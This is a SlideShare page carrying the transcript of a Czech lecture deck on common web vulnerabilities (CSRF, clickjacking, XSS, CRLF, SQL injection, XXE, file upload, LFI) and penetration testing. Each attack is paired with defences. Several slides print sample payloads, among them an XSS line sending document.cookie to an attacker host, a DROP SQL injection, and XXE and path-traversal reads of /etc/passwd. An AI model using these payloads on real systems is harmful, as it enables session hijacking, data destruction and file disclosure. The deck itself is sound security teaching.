Your SlideShare is downloading. ×
Nejčastější webové zranitelnosti
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Nejčastější webové zranitelnosti

1,723
views

Published on

Slajdy z přednášky o nejčastějších webových zranitelnostech a penetračním testování.

Slajdy z přednášky o nejčastějších webových zranitelnostech a penetračním testování.

Published in: Technology

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,723
On Slideshare
0
From Embeds
0
Number of Embeds
5
Actions
Shares
0
Downloads
6
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Testování webových aplikací Roman Kümmel Zranitelnosti webových aplikací
  • 2. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 3. Cross-Site Request Forgery (CSRF) - Zneužití důvěry serveru v uživatele - Nic netušící uživatel odešle serveru GET/POST požadavek - Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná - Může jít také o XMLHttpRequesty (AJAX požadavky) Zranitelnosti webových aplikací
  • 4. Cross-Site Request Forgery (CSRF) metoda GET - Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci http://www.webmail.cz/remail?email=utocnik@seznam.cz - Možnost zneužití HTML prvků načítajících externí obsah <img src=http://www.webmail.cz/remail?email=utocnik@seznam.cz> Zranitelnosti webových aplikací
  • 5. Cross-Site Request Forgery (CSRF) metoda POST - Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví - Pro utajení akce se formulář vloží do skrytého rámu <form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“> <input type=“hidden“ name=“email“ value=“utocnik@seznam.cz“> </form> <script>document.fake.submit();</script> Zranitelnosti webových aplikací
  • 6. Cross-Site Request Forgery (CSRF) OBRANA - Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky - Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer - Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit http://aplikace.cz/remail?email=utocnik@seznam.cz&ticket=ba5e5aa2f472 Zranitelnosti webových aplikací
  • 7. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 8. Clickjacking - Je-li nasazena ochrana před útoky CSRF - Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá. - Útok založen na možnosti načíst web. stránku do rámu - Průhlednost rámu - Překrytí nechtěných prvků - Vkládání údajů do aplikace, nebo krádež dat z aplikace. Zranitelnosti webových aplikací
  • 9. Clickjacking OBRANA - JavaScript FrameKiller - if (top.location != self.location) - Nedoporučuji - možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru - HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM - Content Security Policy Zranitelnosti webových aplikací
  • 10. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 11. Cross-Site Scripting (XSS) - Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy - Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based Zranitelnosti webových aplikací
  • 12. Cross-Site Scripting (XSS) Únos sezení – Session stealing <script> document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“); </script> Zranitelnosti webových aplikací
  • 13. Cross-Site Scripting (XSS) <div>Uživatelský příspěvek: <script>alert(1)</script></div> -----------------------------------------------------------------------------------------<form> <input type=“text“ value=““><script>alert(1)</script>“> </form> -----------------------------------------------------------------------------------------<input type=“text“ value=““ onclick=“alert(1)“> -----------------------------------------------------------------------------------------<script type="text/javascript"> DOT.cfg({service: 'firmy', query:‚''});alert(1);//'}); </script> -----------------------------------------------------------------------------------------<a href=“javascript:alert(1)“>odkaz</a> Zranitelnosti webových aplikací
  • 14. Cross-Site Scripting (XSS) AJAX var json = eval("(" + xhr.responseText + ")"); {"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"} “ + alert(“XSS“) + “ {“a“: ““ + alert(“XSS“) + ““} {“a“: ““ + alert(“XSS“) + ““} Zranitelnosti webových aplikací
  • 15. Cross-Site Scripting (XSS) OBRANA - Náhrada metaznaků “ ‘ & < > za HTML entity &lt; - Escapování metaznaků v řetězcích JavaScriptu ‘ Zranitelnosti webových aplikací
  • 16. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 17. CRLF injection Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Zranitelnosti webových aplikací
  • 18. CRLF injection Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0D%0AHeader:Value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value Zranitelnosti webových aplikací
  • 19. CRLF injection OBRANA - Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding Zranitelnosti webových aplikací
  • 20. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 21. SQL injection www.webmail.cz?name=pepa $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“ SELECT * FROM database WHERE name=‘pepa‘ Zranitelnosti webových aplikací
  • 22. SQL injection www.webmail.cz?name=‘ OR ‘a‘=‘a $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“ SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘ SELECT * FROM database WHERE name=‘‘; DROP database--‘ Zranitelnosti webových aplikací
  • 23. SQL injection OBRANA Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘ OR ‘A‘=‘A‘ Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘ Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement Pozor na escapování u vícebajtových znakových sad! ‘ => ‘ %BF‘ => %BF‘ addslashes() => mysql_real_escape_string() magic_quotes Zranitelnosti webových aplikací
  • 24. SQL injection www.webmail.cz?id=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“ SELECT * FROM database WHERE id=1 Zranitelnosti webových aplikací
  • 25. SQL injection www.webmail.cz?id=1 or 1=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“ SELECT * FROM database WHERE id=1 or 1=1 Zranitelnosti webových aplikací
  • 26. SQL injection OBRANA Přetypováním: $id = (int)$_GET[‘id‘] Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = “SELECT * FROM database WHERE id=‘$id‘“ SELECT * FROM database WHERE id=‘1 OR 1=1‘ www.webmail.cz?id=1‘ or ‘1‘=‘1 SELECT * FROM database WHERE id=‘1‘ or ‘1‘=‘1‘ Uložené procedury, kontrola na nižších vrstvách, prepared statement Zranitelnosti webových aplikací
  • 27. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 28. Forced browsing - Procházení stránek změnou id v požadavku - Možnost získání celých databází OBRANA - Nepoužívat id v požadavcích Používat jedinečný identifikátor Používání Captchy při mnoha požadavcích Pozor na nedostatečnou autorizaci Zranitelnosti webových aplikací
  • 29. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 30. XML External Entity (XXE) Co s tím? - Full Path Disclosure Cross-Site Scripting (XSS) Server-Side Request Forgery (SSRF) Scanning Internal Network Denial of Service (DoS) Local File Disclusion atd. Zranitelnosti webových aplikací
  • 31. XML External Entity (XXE) Struktura XML dokumentu <?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>jana</login> <name>Jana Nádherná</name> </contact> </contacts> DTD (Document Type Definition) Document Content Zranitelnosti webových aplikací
  • 32. XML External Entity (XXE) Interní entity v XML <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>Karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>Petr &prijmeni;</name> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>petr</login> <name>Petr Novotný</name> </contact> </contacts> Zranitelnosti webových aplikací
  • 33. XML External Entity (XXE) Externí entity v XML <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> <contacts> </contact> <contact> </contacts> <login>karel</login> <name>Karel Novotný</name> <note>Textová poznámka ze souboru</note> </contact> </contacts> Zranitelnosti webových aplikací
  • 34. XML External Entity (XXE) Attack: Local File Disclusion <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM „/etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh </note> </contact> </contacts> Zranitelnosti webových aplikací
  • 35. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 36. Nezabezpečený upload - Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru - Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů OBRANA - Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload Zranitelnosti webových aplikací
  • 37. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 38. Local File Inclusion (disclosure) - Možnost zobrazení nebo spuštění serverového skriptu - Script lze na server dostat: - Uploadem souboru Uploadem nakaženého obrázku Přes cookies a session proměnné Enviroment (proc/self/environ) Zneužitím logů (var/www/logs/access_log, apd.) Zranitelnosti webových aplikací
  • 39. Local File Inclusion (disclosure) GET: webmail.cz?action=view.php $page = $_GET[“action“]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg Zranitelnosti webových aplikací
  • 40. Local File Inclusion (disclosure) OBRANA - Vhodně nastavený webový server - Neincludovat soubory na základě proměnné obdržené od uživatele - Ošetřit výskyt sekvence ../ Zranitelnosti webových aplikací
  • 41. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Útoky proti uživatelům Sociotechnika Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Webmail použitý v ukázkách je dostupný na adrese http://webmail.hackingvpraxi.cz Zranitelnosti webových aplikací Wi-Fi
  • 42. Penetrační testování Automatické vs. manuální testování Zranitelnosti webových aplikací
  • 43. Automatické testování - Klady - Rychlost Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../) Hledání konfiguračních souborů Fuzzing apd. - Zápory - Nelze se na ně plně spolehnout Mnoho „false positive“ hlášení Nedokáží odhalit reakce projevující se na jiných místech Při důkladných testech se nelze manuálním testům vyhnout Zranitelnosti webových aplikací
  • 44. Manuální testování - Klady - Důkladná analýza výstupu umožní lépe přizpůsobit následné testy Je možné odhalit i reakce projevující se na jiných místech aplikace - Zápory - Pentester je také jen člověk a může něco přehlédnout Opakující se činnosti jsou časově náročné a vyčerpávající Zranitelnosti webových aplikací
  • 45. Jak zajišťujeme bezpečnost aplikací v Seznam.cz Zranitelnosti webových aplikací
  • 46. Jak zajišťujeme bezpečnost aplikací v Seznam.cz - Vzděláváním vývojářů Penetračním testováním betaverzí Průběžnou kontrolou ostrých verzí Vulnerability scanner (Acunetix) Neodsuzujeme white hat hacking (BugTrack na SOOM.cz) Zranitelnosti webových aplikací
  • 47. Dotazy Zabezpečení webových aplikací
  • 48. Děkuji za pozornost Zranitelnosti webových aplikací